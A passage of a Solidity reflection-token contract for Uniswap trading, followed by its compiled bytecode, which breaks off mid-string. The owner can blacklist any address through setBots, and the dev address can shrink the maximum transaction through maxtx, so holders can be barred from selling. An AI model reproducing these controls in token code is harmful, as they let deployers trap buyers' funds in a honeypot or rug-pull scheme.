_isExcludedFromFee[_marketing] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function openTrading() external onlyOwner() {
require(!tradingOpen, "trading is already open");
IUniswapV2Router02 _uniswapV2Router =
IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value:
address(this).balance}
(address(this),
balanceOf(address(this)),
0,
0,
owner(),
block.timestamp
);
swapEnabled = true;
cooldownEnabled = false;
_maxTxAmount = 25000000 * 10**9;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(
address(uniswapV2Router),
type(uint256).max
);
}
function maxtx(uint256 maxTxpc) external {
require(_msgSender() == _DevAddress);
require(maxTxpc > 0);
_maxTxAmount = _tTotal.mul(maxTxpc).div(10**4);
emit MaxTxAmountUpdated(_maxTxAmount);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_taxFee == 0 && _redisfee == 0) return;
_taxFee = 0;
_redisfee = 0;
}
function restoreAllFee() private {
_taxFee = 6;
_redisfee = 2;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
if (cooldownEnabled) {
if (
from != address(this) &&
to != address(this) &&
from != address(uniswapV2Router) &&
to != address(uniswapV2Router)
) {
require(
_msgSender() == address(uniswapV2Router) ||
_msgSender() == uniswapV2Pair,
"ERR: Uniswap only"
);
}
}
require(amount <= _maxTxAmount);
require(!bots[from] && !bots[to]);
if (
from == uniswapV2Pair &&
to != address(uniswapV2Router) &&
!_isExcludedFromFee[to] &&
cooldownEnabled
) {
require(cooldown[to] < block.timestamp);
cooldown[to] = block.timestamp + (20 seconds);
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
if (_isExcludedFromFee[from] || _isExcludedFromFee[to]) {
takeFee = false;
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_DevAddress.transfer(amount.div(2));
_marketing.transfer(amount.div(2));
}
function manualswap() external {
require(_msgSender() == _DevAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _DevAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function setBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _taxFee, _redisfee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 taxFee,
uint256 TeamFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
}
|
0x6080604052600436106101025760003560e01c806370a0823111610095578063a9059cbb11610064578063a9059cbb1461031c578063b515566a14610359578063c3c8cd8014610382578063c9567bf914610399578063dd62ed3e146103b057610109565b806370a0823114610272578063715018a6146102af5780638da5cb5b146102c657806395d89b41146102f157610109565b80632634e5e8116100d15780632634e5e8146101de578063313ce567146102075780635932ead1146102325780636fc3eaec1461025b57610109565b806306fdde031461010e578063095ea7b31461013957806318160ddd1461017657806323b872dd146101a157610109565b3661010957005b600080fd5b34801561011a57600080fd5b506101236103ed565b6040516101309190612cc3565b60405180910390f35b34801561014557600080fd5b50610160600480360381019061015b91906127ed565b61042a565b60405161016d9190612ca8565b60405180910390f35b34801561018257600080fd5b5061018b610448565b6040516101989190612e45565b60405180910390f35b3480156101ad57600080fd5b506101c860048036038101906101c3919061279a565b610458565b6040516101d59190612ca8565b60405180910390f35b3480156101ea57600080fd5b50610205600480360381019061020091906128d0565b610531565b005b34801561021357600080fd5b5061021c610610565b6040516102299190612eba565b60405180910390f35b34801561023e57600080fd5b5061025960048036038101906102549190612876565b610619565b005b34801561026757600080fd5b506102706106cb565b005b34801561027e57600080fd5b5061029960048036038101906102949190612700565b61073d565b6040516102a69190612e45565b60405180910390f35b3480156102bb57600080fd5b506102c461078e565b005b3480156102d257600080fd5b506102db6108e1565b6040516102e89190612bda565b60405180910390f35b3480156102fd57600080fd5b5061030661090a565b6040516103139190612cc3565b60405180910390f35b34801561032857600080fd5b50610343600480360381019061033e91906127ed565b610947565b6040516103509190612ca8565b60405180910390f35b34801561036557600080fd5b50610380600480360381019061037b919061282d565b610965565b005b34801561038e57600080fd5b50610397610a8f565b005b3480156103a557600080fd5b506103ae610b09565b005b3480156103bc57600080fd5b506103d760048036038101906103d2919061275a565b611063565b6040516103e49190612e45565b60405180910390f35b60606040518060400160405280600481526020017f6272757600000000000000000000000000000000000000000000000000000000815250905090565b600061043e6104376110ea565b84846110f2565b6001905092915050565b6000670de0b6b3a7640000905090565b60006104658484846112bd565b610526846104716110ea565b6105218560405180606001604052806028815260200161359860289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006104d76110ea565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a7c9092919063ffffffff16565b6110f2565b600190509392505050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166105726110ea565b73ffffffffffffffffffffffffffffffffffffffff161461059257600080fd5b6000811161059f57600080fd5b6105ce6127106105c083670de0b6b3a7640000611ae090919063ffffffff16565b611b5b90919063ffffffff16565b6010819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6010546040516106059190612e45565b60405180910390a150565b60006009905090565b6106216110ea565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146106ae576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106a590612d85565b60405180910390fd5b80600f60176101000a81548160ff02191690831515021790555050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661070c6110ea565b73ffffffffffffffffffffffffffffffffffffffff161461072c57600080fd5b600047905061073a81611ba5565b50565b6000610787600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611ca0565b9050919050565b6107966110ea565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610823576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161081a90612d85565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600481526020017f4252555600000000000000000000000000000000000000000000000000000000815250905090565b600061095b6109546110ea565b84846112bd565b6001905092915050565b61096d6110ea565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146109fa576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109f190612d85565b60405180910390fd5b60005b8151811015610a8b576001600a6000848481518110610a1f57610a1e613202565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610a839061315b565b9150506109fd565b5050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610ad06110ea565b73ffffffffffffffffffffffffffffffffffffffff1614610af057600080fd5b6000610afb3061073d565b9050610b0681611d0e565b50565b610b116110ea565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610b9e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b9590612d85565b60405180910390fd5b600f60149054906101000a900460ff1615610bee576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610be590612e05565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610c7d30600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16670de0b6b3a76400006110f2565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610cc357600080fd5b505afa158015610cd7573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610cfb919061272d565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610d5d57600080fd5b505afa158015610d71573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d95919061272d565b6040518363ffffffff1660e01b8152600401610db2929190612bf5565b602060405180830381600087803b158015610dcc57600080fd5b505af1158015610de0573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e04919061272d565b600f60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610e8d3061073d565b600080610e986108e1565b426040518863ffffffff1660e01b8152600401610eba96959493929190612c47565b6060604051808303818588803b158015610ed357600080fd5b505af1158015610ee7573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610f0c91906128fd565b5050506001600f60166101000a81548160ff0219169083151502179055506000600f60176101000a81548160ff0219169083151502179055506658d15e176280006010819055506001600f60146101000a81548160ff021916908315150217905550600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b815260040161100d929190612c1e565b602060405180830381600087803b15801561102757600080fd5b505af115801561103b573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061105f91906128a3565b5050565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611162576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161115990612de5565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156111d2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111c990612d25565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516112b09190612e45565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561132d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161132490612dc5565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561139d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161139490612ce5565b60405180910390fd5b600081116113e0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113d790612da5565b60405180910390fd5b6113e86108e1565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561145657506114266108e1565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b156119b957600f60179054906101000a900460ff1615611689573073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156114d857503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156115325750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b801561158c5750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561168857600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166115d26110ea565b73ffffffffffffffffffffffffffffffffffffffff1614806116485750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166116306110ea565b73ffffffffffffffffffffffffffffffffffffffff16145b611687576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161167e90612e25565b60405180910390fd5b5b5b60105481111561169857600080fd5b600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615801561173c5750600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b61174557600080fd5b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156117f05750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156118465750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b801561185e5750600f60179054906101000a900460ff165b156118ff5742600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054106118ae57600080fd5b6014426118bb9190612f7b565b600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b600061190a3061073d565b9050600f60159054906101000a900460ff161580156119775750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b801561198f5750600f60169054906101000a900460ff165b156119b75761199d81611d0e565b600047905060008111156119b5576119b447611ba5565b5b505b505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611a605750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15611a6a57600090505b611a7684848484611f96565b50505050565b6000838311158290611ac4576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611abb9190612cc3565b60405180910390fd5b5060008385611ad3919061305c565b9050809150509392505050565b600080831415611af35760009050611b55565b60008284611b019190613002565b9050828482611b109190612fd1565b14611b50576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b4790612d65565b60405180910390fd5b809150505b92915050565b6000611b9d83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611fc3565b905092915050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611bf5600284611b5b90919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611c20573d6000803e3d6000fd5b50600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611c71600284611b5b90919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611c9c573d6000803e3d6000fd5b5050565b6000600654821115611ce7576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611cde90612d05565b60405180910390fd5b6000611cf1612026565b9050611d068184611b5b90919063ffffffff16565b915050919050565b6001600f60156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611d4657611d45613231565b5b604051908082528060200260200182016040528015611d745781602001602082028036833780820191505090505b5090503081600081518110611d8c57611d8b613202565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015611e2e57600080fd5b505afa158015611e42573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611e66919061272d565b81600181518110611e7a57611e79613202565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050611ee130600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846110f2565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b8152600401611f45959493929190612e60565b600060405180830381600087803b158015611f5f57600080fd5b505af1158015611f73573d6000803e3d6000fd5b50505050506000600f60156101000a81548160ff02191690831515021790555050565b80611fa457611fa3612051565b5b611faf848484612082565b80611fbd57611fbc61224d565b5b50505050565b6000808311829061200a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016120019190612cc3565b60405180910390fd5b50600083856120199190612fd1565b9050809150509392505050565b600080600061203361225f565b9150915061204a8183611b5b90919063ffffffff16565b9250505090565b600060085414801561206557506000600954145b1561206f57612080565b600060088190555060006009819055505b565b600080600080600080612094876122be565b9550955095509550955095506120f286600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461232690919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061218785600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461237090919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506121d3816123ce565b6121dd848361248b565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161223a9190612e45565b60405180910390a3505050505050505050565b60066008819055506002600981905550565b600080600060065490506000670de0b6b3a76400009050612293670de0b6b3a7640000600654611b5b90919063ffffffff16565b8210156122b157600654670de0b6b3a76400009350935050506122ba565b81819350935050505b9091565b60008060008060008060008060006122db8a6008546009546124c5565b92509250925060006122eb612026565b905060008060006122fe8e87878761255b565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b600061236883836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611a7c565b905092915050565b600080828461237f9190612f7b565b9050838110156123c4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016123bb90612d45565b60405180910390fd5b8091505092915050565b60006123d8612026565b905060006123ef8284611ae090919063ffffffff16565b905061244381600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461237090919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b6124a08260065461232690919063ffffffff16565b6006819055506124bb8160075461237090919063ffffffff16565b6007819055505050565b6000806000806124f160646124e3888a611ae090919063ffffffff16565b611b5b90919063ffffffff16565b9050600061251b606461250d888b611ae090919063ffffffff16565b611b5b90919063ffffffff16565b9050600061254482612536858c61232690919063ffffffff16565b61232690919063ffffffff16565b905080838395509550955050505093509350939050565b6000806000806125748589611ae090919063ffffffff16565b9050600061258b8689611ae090919063ffffffff16565b905060006125a28789611ae090919063ffffffff16565b905060006125cb826125bd858761232690919063ffffffff16565b61232690919063ffffffff16565b9050838184965096509650505050509450945094915050565b60006125f76125f284612efa565b612ed5565b9050808382526020820190508285602086028201111561261a57612619613265565b5b60005b8581101561264a57816126308882612654565b84526020840193506020830192505060018101905061261d565b5050509392505050565b60008135905061266381613552565b92915050565b60008151905061267881613552565b92915050565b600082601f83011261269357612692613260565b5b81356126a38482602086016125e4565b91505092915050565b6000813590506126bb81613569565b92915050565b6000815190506126d081613569565b92915050565b6000813590506126e581613580565b92915050565b6000815190506126fa81613580565b92915050565b6000602082840312156127165761271561326f565b5b600061272484828501612654565b91505092915050565b6000602082840312156127435761274261326f565b5b600061275184828501612669565b91505092915050565b600080604083850312156127715761277061326f565b5b600061277f85828601612654565b925050602061279085828601612654565b9150509250929050565b6000806000606084860312156127b3576127b261326f565b5b60006127c186828701612654565b93505060206127d286828701612654565b92505060406127e3868287016126d6565b9150509250925092565b600080604083850312156128045761280361326f565b5b600061281285828601612654565b9250506020612823858286016126d6565b9150509250929050565b6000602082840312156128435761284261326f565b5b600082013567ffffffffffffffff8111156128615761286061326a565b5b61286d8482850161267e565b91505092915050565b60006020828403121561288c5761288b61326f565b5b600061289a848285016126ac565b91505092915050565b6000602082840312156128b9576128b861326f565b5b60006128c7848285016126c1565b91505092915050565b6000602082840312156128e6576128e561326f565b5b60006128f4848285016126d6565b91505092915050565b6000806000606084860312156129165761291561326f565b5b6000612924868287016126eb565b9350506020612935868287016126eb565b9250506040612946868287016126eb565b9150509250925092565b600061295c8383612968565b60208301905092915050565b61297181613090565b82525050565b61298081613090565b82525050565b600061299182612f36565b61299b8185612f59565b93506129a683612f26565b8060005b838110156129d75781516129be8882612950565b97506129c983612f4c565b9250506001810190506129aa565b5085935050505092915050565b6129ed816130a2565b82525050565b6129fc816130e5565b82525050565b6000612a0d82612f41565b612a178185612f6a565b9350612a278185602086016130f7565b612a3081613274565b840191505092915050565b6000612a48602383612f6a565b9150612a5382613285565b604082019050919050565b6000612a6b602a83612f6a565b9150612a76826132d4565b604082019050919050565b6000612a8e602283612f6a565b9150612a9982613323565b604082019050919050565b6000612ab1601b83612f6a565b9150612abc82613372565b602082019050919050565b6000612ad4602183612f6a565b9150612adf8261339b565b604082019050919050565b6000612af7602083612f6a565b9150612b02826133ea565b602082019050919050565b6000612b1a602983612f6a565b9150612b2582613413565b604082019050919050565b6000612b3d602583612f6a565b9150612b4882613462565b604082019050919050565b6000612b60602483612f6a565b9150612b6b826134b1565b604082019050919050565b6000612b83601783612f6a565b9150612b8e82613500565b602082019050919050565b6000612ba6601183612f6a565b9150612bb182613529565b602082019050919050565b612bc5816130ce565b82525050565b612bd4816130d8565b82525050565b6000602082019050612bef6000830184612977565b92915050565b6000604082019050612c0a6000830185612977565b612c176020830184612977565b9392505050565b6000604082019050612c336000830185612977565b612c406020830184612bbc565b9392505050565b600060c082019050612c5c6000830189612977565b612c696020830188612bbc565b612c7660408301876129f3565b612c8360608301866129f3565b612c906080830185612977565b612c9d60a0830184612bbc565b979650505050505050565b6000602082019050612cbd60008301846129e4565b92915050565b60006020820190508181036000830152612cdd8184612a02565b905092915050565b60006020820190508181036000830152612cfe81612a3b565b9050919050565b60006020820190508181036000830152612d1e81612a5e565b9050919050565b60006020820190508181036000830152612d3e81612a81565b9050919050565b60006020820190508181036000830152612d5e81612aa4565b9050919050565b60006020820190508181036000830152612d7e81612ac7565b9050919050565b60006020820190508181036000830152612d9e81612aea565b9050919050565b60006020820190508181036000830152612dbe81612b0d565b9050919050565b60006020820190508181036000830152612dde81612b30565b9050919050565b60006020820190508181036000830152612dfe81612b53565b9050919050565b60006020820190508181036000830152612e1e81612b76565b9050919050565b60006020820190508181036000830152612e3e81612b99565b9050919050565b6000602082019050612e5a6000830184612bbc565b92915050565b600060a082019050612e756000830188612bbc565b612e8260208301876129f3565b8181036040830152612e948186612986565b9050612ea36060830185612977565b612eb06080830184612bbc565b9695505050505050565b6000602082019050612ecf6000830184612bcb565b92915050565b6000612edf612ef0565b9050612eeb828261312a565b919050565b6000604051905090565b600067ffffffffffffffff821115612f1557612f14613231565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b6000612f86826130ce565b9150612f91836130ce565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115612fc657612fc56131a4565b5b828201905092915050565b6000612fdc826130ce565b9150612fe7836130ce565b925082612ff757612ff66131d3565b5b828204905092915050565b600061300d826130ce565b9150613018836130ce565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615613051576130506131a4565b5b828202905092915050565b6000613067826130ce565b9150613072836130ce565b925082821015613085576130846131a4565b5b828203905092915050565b600061309b826130ae565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60006130f0826130ce565b9050919050565b60005b838110156131155780820151818401526020810190506130fa565b83811115613124576000848401525b50505050565b61313382613